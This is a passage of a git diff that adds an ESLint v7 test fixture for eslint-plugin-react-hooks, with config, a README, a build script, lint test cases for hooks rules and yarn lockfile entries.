+  integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==
+  dependencies:
+    has-flag "^4.0.0"
+
+table@^5.2.3:
+  version "5.4.6"
+  resolved "https://registry.yarnpkg.com/table/-/table-5.4.6.tgz#1292d19500ce3f86053b05f0e8e7e4a3bb21079e"
+  integrity sha512-wmEc8m4fjnob4gt5riFRtTu/6+4rSe12TpAELNSqHMfF3IqnA+CH37USM6/YR3qRZv7e56kAEAtd6nKZaxe0Ug==
+  dependencies:
+    ajv "^6.10.2"
+    lodash "^4.17.14"
+    slice-ansi "^2.1.0"
+    string-width "^3.0.0"
+
+text-table@^0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/text-table/-/text-table-0.2.0.tgz#7f5ee823ae805207c00af2df4a84ec3fcfa570b4"
+  integrity sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==
+
+through@^2.3.6:
+  version "2.3.8"
+  resolved "https://registry.yarnpkg.com/through/-/through-2.3.8.tgz#0dd4c9ffaabc357960b1b724115d7e0e86a2e1f5"
+  integrity sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=
+
+tmp@^0.0.33:
+  version "0.0.33"
+  resolved "https://registry.yarnpkg.com/tmp/-/tmp-0.0.33.tgz#6d34335889768d21b2bcda0aa277ced3b1bfadf9"
+  integrity sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==
+  dependencies:
+    os-tmpdir "~1.0.2"
+
+tslib@^1.9.0:
+  version "1.14.1"
+  resolved "https://registry.yarnpkg.com/tslib/-/tslib-1.14.1.tgz#cf2d38bdc34a134bcaf1091c41f6619e2f672d00"
+  integrity sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==
+
+type-check@~0.3.2:
+  version "0.3.2"
+  resolved "https://registry.yarnpkg.com/type-check/-/type-check-0.3.2.tgz#5884cab512cf1d355e3fb784f30804b2b520db72"
+  integrity sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=
+  dependencies:
+    prelude-ls "~1.1.2"
+
+type-fest@^0.21.3:
+  version "0.21.3"
+  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.21.3.tgz#d260a24b0198436e133fa26a524a6d65fa3b2e37"
+  integrity sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==
+
+type-fest@^0.8.1:
+  version "0.8.1"
+  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.8.1.tgz#09e249ebde851d3b1e48d27c105444667f17b83d"
+  integrity sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==
+
+uri-js@^4.2.2:
+  version "4.2.2"
+  resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.2.2.tgz#94c540e1ff772956e2299507c010aea6c8838eb0"
+  integrity sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==
+  dependencies:
+    punycode "^2.1.0"
+
+v8-compile-cache@^2.0.3:
+  version "2.4.0"
+  resolved "https://registry.yarnpkg.com/v8-compile-cache/-/v8-compile-cache-2.4.0.tgz#cdada8bec61e15865f05d097c5f4fd30e94dc128"
+  integrity sha512-ocyWc3bAHBB/guyqJQVI5o4BZkPhznPYUG2ea80Gond/BgNWpap8TOmLSeeQG7bnh2KMISxskdADG59j7zruhw==
+
+which@^1.2.9:
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/which/-/which-1.3.1.tgz#a45043d54f5805316da8d62f9f50918d3da70b0a"
+  integrity sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==
+  dependencies:
+    isexe "^2.0.0"
+
+word-wrap@~1.2.3:
+  version "1.2.5"
+  resolved "https://registry.yarnpkg.com/word-wrap/-/word-wrap-1.2.5.tgz#d2c45c6dd4fbce621a66f136cbe328afd0410b34"
+  integrity sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==
+
+wrappy@1:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
+  integrity sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=
+
+write@1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/write/-/write-1.0.3.tgz#0800e14523b923a387e415123c865616aae0f5c3"
+  integrity sha512-/lg70HAjtkUgWPVZhZcm+T4hkL8Zbtp1nFNOn3lRrxnlv50SRBv7cR7RqR+GMsd3hUXy9hWBo4CHTbFTcOYwig==
+  dependencies:
+    mkdirp "^0.5.1"
diff --git a/fixtures/eslint-v7/.eslintrc.json b/fixtures/eslint-v7/.eslintrc.json
new file mode 100644
index 000000000000..672da7a085a6
--- /dev/null
+++ b/fixtures/eslint-v7/.eslintrc.json
@@ -0,0 +1,11 @@
+{
+  "root": true,
+  "extends": ["plugin:react-hooks/recommended"],
+  "parserOptions": {
+    "ecmaVersion": 2020,
+    "sourceType": "module",
+    "ecmaFeatures": {
+      "jsx": true
+    }
+  }
+}
diff --git a/fixtures/eslint-v7/README.md b/fixtures/eslint-v7/README.md
new file mode 100644
index 000000000000..ea4628b0e035
--- /dev/null
+++ b/fixtures/eslint-v7/README.md
@@ -0,0 +1,12 @@
+# ESLint v7 Fixture
+
+This fixture allows us to test e2e functionality for `eslint-plugin-react-hooks` with eslint version 7.
+
+Run the following to test.
+
+```sh
+cd fixtures/eslint-v7
+yarn
+yarn build
+yarn lint
+```
diff --git a/fixtures/eslint-v7/build.mjs b/fixtures/eslint-v7/build.mjs
new file mode 100644
index 000000000000..e0dd355ba439
--- /dev/null
+++ b/fixtures/eslint-v7/build.mjs
@@ -0,0 +1,13 @@
+#!/usr/bin/env node
+
+import {execSync} from 'node:child_process';
+import {dirname, resolve} from 'node:path';
+import {fileURLToPath} from 'node:url';
+
+const __filename = fileURLToPath(import.meta.url);
+const __dirname = dirname(__filename);
+
+execSync('yarn build -r stable eslint-plugin-react-hooks', {
+  cwd: resolve(__dirname, '..', '..'),
+  stdio: 'inherit',
+});
diff --git a/fixtures/eslint-v7/index.js b/fixtures/eslint-v7/index.js
new file mode 100644
index 000000000000..143228e12cb7
--- /dev/null
+++ b/fixtures/eslint-v7/index.js
@@ -0,0 +1,167 @@
+/**
+ * Exhaustive Deps
+ */
+// Valid because dependencies are declared correctly
+function Comment({comment, commentSource}) {
+  const currentUserID = comment.viewer.id;
+  const environment = RelayEnvironment.forUser(currentUserID);
+  const commentID = nullthrows(comment.id);
+  useEffect(() => {
+    const subscription = SubscriptionCounter.subscribeOnce(
+      `StoreSubscription_${commentID}`,
+      () =>
+        StoreSubscription.subscribe(
+          environment,
+          {
+            comment_id: commentID,
+          },
+          currentUserID,
+          commentSource
+        )
+    );
+    return () => subscription.dispose();
+  }, [commentID, commentSource, currentUserID, environment]);
+}
+
+// Valid because no dependencies
+function UseEffectWithNoDependencies() {
+  const local = {};
+  useEffect(() => {
+    console.log(local);
+  });
+}
+function UseEffectWithEmptyDependencies() {
+  useEffect(() => {
+    const local = {};
+    console.log(local);
+  }, []);
+}
+
+// OK because `props` wasn't defined.
+function ComponentWithNoPropsDefined() {
+  useEffect(() => {
+    console.log(props.foo);
+  }, []);
+}
+
+// Valid because props are declared as a dependency
+function ComponentWithPropsDeclaredAsDep({foo}) {
+  useEffect(() => {
+    console.log(foo.length);
+    console.log(foo.slice(0));
+  }, [foo]);
+}
+
+// Valid because individual props are declared as dependencies
+function ComponentWithIndividualPropsDeclaredAsDeps(props) {
+  useEffect(() => {
+    console.log(props.foo);
+    console.log(props.bar);
+  }, [props.bar, props.foo]);
+}
+
+// Invalid because neither props or props.foo are declared as dependencies
+function ComponentWithoutDeclaringPropAsDep(props) {
+  useEffect(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  useCallback(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  useMemo(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  React.useEffect(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  React.useCallback(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  React.useMemo(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  React.notReactiveHook(() => {
+    console.log(props.foo);
+  }, []); // This one isn't a violation
+}
+
+/**
+ * Rules of Hooks
+ */
+// Valid because functions can call functions.
+function normalFunctionWithConditionalFunction() {
+  if (cond) {
+    doSomething();
+  }
+}
+
+// Valid because hooks can call hooks.
+function useHook() {
+  useState();
+}
+const whatever = function useHook() {
+  useState();
+};
+const useHook1 = () => {
+  useState();
+};
+let useHook2 = () => useState();
+useHook2 = () => {
+  useState();
+};
+
+// Invalid because hooks can't be called in conditionals.
+function ComponentWithConditionalHook() {
+  if (cond) {
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useConditionalHook();
+  }
+}
+
+// Invalid because hooks can't be called in loops.
+function useHookInLoops() {
+  while (a) {
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useHook1();
+    if (b) return;
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useHook2();
+  }
+  while (c) {
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useHook3();
+    if (d) return;
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useHook4();
+  }
+}
+
+/**
+ * Compiler Rules
+ */
+// Invalid: component factory
+function InvalidComponentFactory() {
+  const DynamicComponent = () => <div>Hello</div>;
+  // eslint-disable-next-line react-hooks/static-components
+  return <DynamicComponent />;
+}
+
+// Invalid: mutating globals
+function InvalidGlobals() {
+  // eslint-disable-next-line react-hooks/immutability
+  window.myGlobal = 42;
+  return <div>Done</div>;
+}
+
+// Invalid: useMemo with wrong deps
+function InvalidUseMemo({items}) {
+  // eslint-disable-next-line react-hooks/exhaustive-deps
+  const sorted = useMemo(() => [...items].sort(), []);
+  return <div>{sorted.length}</div>;
+}
diff --git a/fixtures/eslint-v7/package.json b/fixtures/eslint-v7/package.json
new file mode 100644
index 000000000000..5e6491751459
--- /dev/null
+++ b/fixtures/eslint-v7/package.json
@@ -0,0 +1,12 @@
+{
+  "private": true,
+  "name": "eslint-v7",
+  "dependencies": {
+    "eslint": "^7",
+    "eslint-plugin-react-hooks": "link:../../build/oss-stable/eslint-plugin-react-hooks"
+  },
+  "scripts": {
+    "build": "node build.mjs && yarn",
+    "lint": "eslint index.js --report-unused-disable-directives"
+  }
+}
diff --git a/fixtures/eslint-v7/yarn.lock b/fixtures/eslint-v7/yarn.lock
new file mode 100644
index 000000000000..4a191de947f3
--- /dev/null
+++ b/fixtures/eslint-v7/yarn.lock
@@ -0,0 +1,769 @@
+# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
+# yarn lockfile v1
+
+
+"@babel/code-frame@7.12.11":
+  version "7.12.11"
+  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.12.11.tgz#f4ad435aa263db935b8f10f2c552d23fb716a63f"
+  integrity sha512-Zt1yodBx1UcyiePMSkWnU4hPqhwq7hGi2nFL1LeA3EUl+q2LQx16MISgJ0+z7dnmgvP9QtIleuETGOiOH1RcIw==
+  dependencies:
+    "@babel/highlight" "^7.10.4"
+
+"@babel/helper-validator-identifier@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz#24b64e2c3ec7cd3b3c547729b8d16871f22cbdc7"
+  integrity sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==
+
+"@babel/highlight@^7.10.4":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/highlight/-/highlight-7.25.9.tgz#8141ce68fc73757946f983b343f1231f4691acc6"
+  integrity sha512-llL88JShoCsth8fF8R4SJnIn+WLvR6ccFxu1H3FlMhDontdcmZWf2HgIZ7AIqV3Xcck1idlohrN4EUBQz6klbw==
+  dependencies:
+    "@babel/helper-validator-identifier" "^7.25.9"
+    chalk "^2.4.2"
+    js-tokens "^4.0.0"
+    picocolors "^1.0.0"
+
+"@eslint/eslintrc@^0.4.3":
+  version "0.4.3"
+  resolved "https://registry.yarnpkg.com/@eslint/eslintrc/-/eslintrc-0.4.3.tgz#9e42981ef035beb3dd49add17acb96e8ff6f394c"
+  integrity sha512-J6KFFz5QCYUJq3pf0mjEcCJVERbzv71PUIDczuh9JkwGEzced6CO5ADLHB1rbf/+oPBtoPfMYNOpGDzCANlbXw==
+  dependencies:
+    ajv "^6.12.4"
+    debug "^4.1.1"
+    espree "^7.3.0"
+    globals "^13.9.0"
+    ignore "^4.0.6"
+    import-fresh "^3.2.1"
+    js-yaml "^3.13.1"
+    minimatch "^3.0.4"
+    strip-json-comments "^3.1.1"
+
+"@humanwhocodes/config-array@^0.5.0":
+  version "0.5.0"
+  resolved "https://registry.yarnpkg.com/@humanwhocodes/config-array/-/config-array-0.5.0.tgz#1407967d4c6eecd7388f83acf1eaf4d0c6e58ef9"
+  integrity sha512-FagtKFz74XrTl7y6HCzQpwDfXP0yhxe9lHLD1UZxjvZIcbyRz8zTFF/yYNfSfzU414eDwZ1SrO0Qvtyf+wFMQg==
+  dependencies:
+    "@humanwhocodes/object-schema" "^1.2.0"
+    debug "^4.1.1"
+    minimatch "^3.0.4"
+
+"@humanwhocodes/object-schema@^1.2.0":
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/@humanwhocodes/object-schema/-/object-schema-1.2.1.tgz#b520529ec21d8e5945a1851dfd1c32e94e39ff45"
+  integrity sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA==
+
+acorn-jsx@^5.3.1:
+  version "5.3.2"
+  resolved "https://registry.yarnpkg.com/acorn-jsx/-/acorn-jsx-5.3.2.tgz#7ed5bb55908b3b2f1bc55c6af1653bada7f07937"
+  integrity sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==
+
+acorn@^7.4.0:
+  version "7.4.1"
+  resolved "https://registry.yarnpkg.com/acorn/-/acorn-7.4.1.tgz#feaed255973d2e77555b83dbc08851a6c63520fa"
+  integrity sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==
+
+ajv@^6.10.0, ajv@^6.12.4:
+  version "6.12.6"
+  resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.12.6.tgz#baf5a62e802b07d977034586f8c3baf5adf26df4"
+  integrity sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==
+  dependencies:
+    fast-deep-equal "^3.1.1"
+    fast-json-stable-stringify "^2.0.0"
+    json-schema-traverse "^0.4.1"
+    uri-js "^4.2.2"
+
+ajv@^8.0.1:
+  version "8.17.1"
+  resolved "https://registry.yarnpkg.com/ajv/-/ajv-8.17.1.tgz#37d9a5c776af6bc92d7f4f9510eba4c0a60d11a6"
+  integrity sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==
+  dependencies:
+    fast-deep-equal "^3.1.3"
+    fast-uri "^3.0.1"
+    json-schema-traverse "^1.0.0"
+    require-from-string "^2.0.2"
+
+ansi-colors@^4.1.1:
+  version "4.1.3"
+  resolved "https://registry.yarnpkg.com/ansi-colors/-/ansi-colors-4.1.3.tgz#37611340eb2243e70cc604cad35d63270d48781b"
+  integrity sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==
+
+ansi-regex@^5.0.1:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-5.0.1.tgz#082cb2c89c9fe8659a311a53bd6a4dc5301db304"
+  integrity sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==
+
+ansi-styles@^3.2.1:
+  version "3.2.1"
+  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-3.2.1.tgz#41fbb20243e50b12be0f04b8dedbf07520ce841d"
+  integrity sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==
+  dependencies:
+    color-convert "^1.9.0"
+
+ansi-styles@^4.0.0, ansi-styles@^4.1.0:
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937"
+  integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==
+  dependencies:
+    color-convert "^2.0.1"
+
+argparse@^1.0.7:
+  version "1.0.10"
+  resolved "https://registry.yarnpkg.com/argparse/-/argparse-1.0.10.tgz#bcd6791ea5ae09725e17e5ad988134cd40b3d911"
+  integrity sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==
+  dependencies:
+    sprintf-js "~1.0.2"
+
+astral-regex@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/astral-regex/-/astral-regex-2.0.0.tgz#483143c567aeed4785759c0865786dc77d7d2e31"
+  integrity sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==
+
+balanced-match@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.0.tgz#89b4d199ab2bee49de164ea02b89ce462d71b767"
+  integrity sha1-ibTRmasr7kneFk6gK4nORi1xt2c=
+
+brace-expansion@^1.1.7:
+  version "1.1.11"
+  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
+  integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
+  dependencies:
+    balanced-match "^1.0.0"
+    concat-map "0.0.1"
+
+callsites@^3.0.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/callsites/-/callsites-3.1.0.tgz#b3630abd8943432f54b3f0519238e33cd7df2f73"
+  integrity sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==
+
+chalk@^2.4.2:
+  version "2.4.2"
+  resolved "https://registry.yarnpkg.com/chalk/-/chalk-2.4.2.tgz#cd42541677a54333cf541a49108c1432b44c9424"
+  integrity sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==
+  dependencies:
+    ansi-styles "^3.2.1"
+    escape-string-regexp "^1.0.5"
+    supports-color "^5.3.0"
+
+chalk@^4.0.0:
+  version "4.1.2"
+  resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.2.tgz#aac4e2b7734a740867aeb16bf02aad556a1e7a01"
+  integrity sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==
+  dependencies:
+    ansi-styles "^4.1.0"
+    supports-color "^7.1.0"
+
+color-convert@^1.9.0:
+  version "1.9.3"
+  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-1.9.3.tgz#bb71850690e1f136567de629d2d5471deda4c1e8"
+  integrity sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==
+  dependencies:
+    color-name "1.1.3"
+
+color-convert@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3"
+  integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==
+  dependencies:
+    color-name "~1.1.4"
+
+color-name@1.1.3:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25"
+  integrity sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=
+
+color-name@~1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
+  integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
+
+concat-map@0.0.1:
+  version "0.0.1"
+  resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b"
+  integrity sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=
+
+cross-spawn@^7.0.2:
+  version "7.0.6"
+  resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-7.0.6.tgz#8a58fe78f00dcd70c370451759dfbfaf03e8ee9f"
+  integrity sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==
+  dependencies:
+    path-key "^3.1.0"
+    shebang-command "^2.0.0"
+    which "^2.0.1"
+
+debug@^4.0.1, debug@^4.1.1:
+  version "4.4.0"
+  resolved "https://registry.yarnpkg.com/debug/-/debug-4.4.0.tgz#2b3f2aea2ffeb776477460267377dc8710faba8a"
+  integrity sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==
+  dependencies:
+    ms "^2.1.3"
+
+deep-is@^0.1.3:
+  version "0.1.4"
+  resolved "https://registry.yarnpkg.com/deep-is/-/deep-is-0.1.4.tgz#a6f2dce612fadd2ef1f519b73551f17e85199831"
+  integrity sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==
+
+doctrine@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-3.0.0.tgz#addebead72a6574db783639dc87a121773973961"
+  integrity sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==
+  dependencies:
+    esutils "^2.0.2"
+
+emoji-regex@^8.0.0:
+  version "8.0.0"
+  resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-8.0.0.tgz#e818fd69ce5ccfcb404594f842963bf53164cc37"
+  integrity sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==
+
+enquirer@^2.3.5:
+  version "2.4.1"
+  resolved "https://registry.yarnpkg.com/enquirer/-/enquirer-2.4.1.tgz#93334b3fbd74fc7097b224ab4a8fb7e40bf4ae56"
+  integrity sha512-rRqJg/6gd538VHvR3PSrdRBb/1Vy2YfzHqzvbhGIQpDRKIa4FgV/54b5Q1xYSxOOwKvjXweS26E0Q+nAMwp2pQ==
+  dependencies:
+    ansi-colors "^4.1.1"
+    strip-ansi "^6.0.1"
+
+escape-string-regexp@^1.0.5:
+  version "1.0.5"
+  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4"
+  integrity sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=
+
+escape-string-regexp@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz#14ba83a5d373e3d311e5afca29cf5bfad965bf34"
+  integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==
+
+"eslint-plugin-react-hooks@link:../../build/oss-stable/eslint-plugin-react-hooks":
+  version "0.0.0"
+  uid ""
+
+eslint-scope@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-5.1.1.tgz#e786e59a66cb92b3f6c1fb0d508aab174848f48c"
+  integrity sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==
+  dependencies:
+    esrecurse "^4.3.0"
+    estraverse "^4.1.1"
+
+eslint-utils@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/eslint-utils/-/eslint-utils-2.1.0.tgz#d2de5e03424e707dc10c74068ddedae708741b27"
+  integrity sha512-w94dQYoauyvlDc43XnGB8lU3Zt713vNChgt4EWwhXAP2XkBvndfxF0AgIqKOOasjPIPzj9JqgwkwbCYD0/V3Zg==
+  dependencies:
+    eslint-visitor-keys "^1.1.0"
+
+eslint-visitor-keys@^1.1.0, eslint-visitor-keys@^1.3.0:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-1.3.0.tgz#30ebd1ef7c2fdff01c3a4f151044af25fab0523e"
+  integrity sha512-6J72N8UNa462wa/KFODt/PJ3IU60SDpC3QXC1Hjc1BXXpfL2C9R5+AU7jhe0F6GREqVMh4Juu+NY7xn+6dipUQ==
+
+eslint-visitor-keys@^2.0.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz#f65328259305927392c938ed44eb0a5c9b2bd303"
+  integrity sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==
+
+eslint@^7:
+  version "7.32.0"
+  resolved "https://registry.yarnpkg.com/eslint/-/eslint-7.32.0.tgz#c6d328a14be3fb08c8d1d21e12c02fdb7a2a812d"
+  integrity sha512-VHZ8gX+EDfz+97jGcgyGCyRia/dPOd6Xh9yPv8Bl1+SoaIwD+a/vlrOmGRUyOYu7MwUhc7CxqeaDZU13S4+EpA==
+  dependencies:
+    "@babel/code-frame" "7.12.11"
+    "@eslint/eslintrc" "^0.4.3"
+    "@humanwhocodes/config-array" "^0.5.0"
+    ajv "^6.10.0"
+    chalk "^4.0.0"
+    cross-spawn "^7.0.2"
+    debug "^4.0.1"
+    doctrine "^3.0.0"
+    enquirer "^2.3.5"
+    escape-string-regexp "^4.0.0"
+    eslint-scope "^5.1.1"
+    eslint-utils "^2.1.0"
+    eslint-visitor-keys "^2.0.0"
+    espree "^7.3.1"
+    esquery "^1.4.0"
+    esutils "^2.0.2"
+    fast-deep-equal "^3.1.3"
+    file-entry-cache "^6.0.1"
+    functional-red-black-tree "^1.0.1"
+    glob-parent "^5.1.2"
+    globals "^13.6.0"
+    ignore "^4.0.6"
+    import-fresh "^3.0.0"
+    imurmurhash "^0.1.4"
+    is-glob "^4.0.0"
+    js-yaml "^3.13.1"
+    json-stable-stringify-without-jsonify "^1.0.1"
+    levn "^0.4.1"
+    lodash.merge "^4.6.2"
+    minimatch "^3.0.4"
+    natural-compare "^1.4.0"
+    optionator "^0.9.1"
+    progress "^2.0.0"
+    regexpp "^3.1.0"
+    semver "^7.2.1"
+    strip-ansi "^6.0.0"
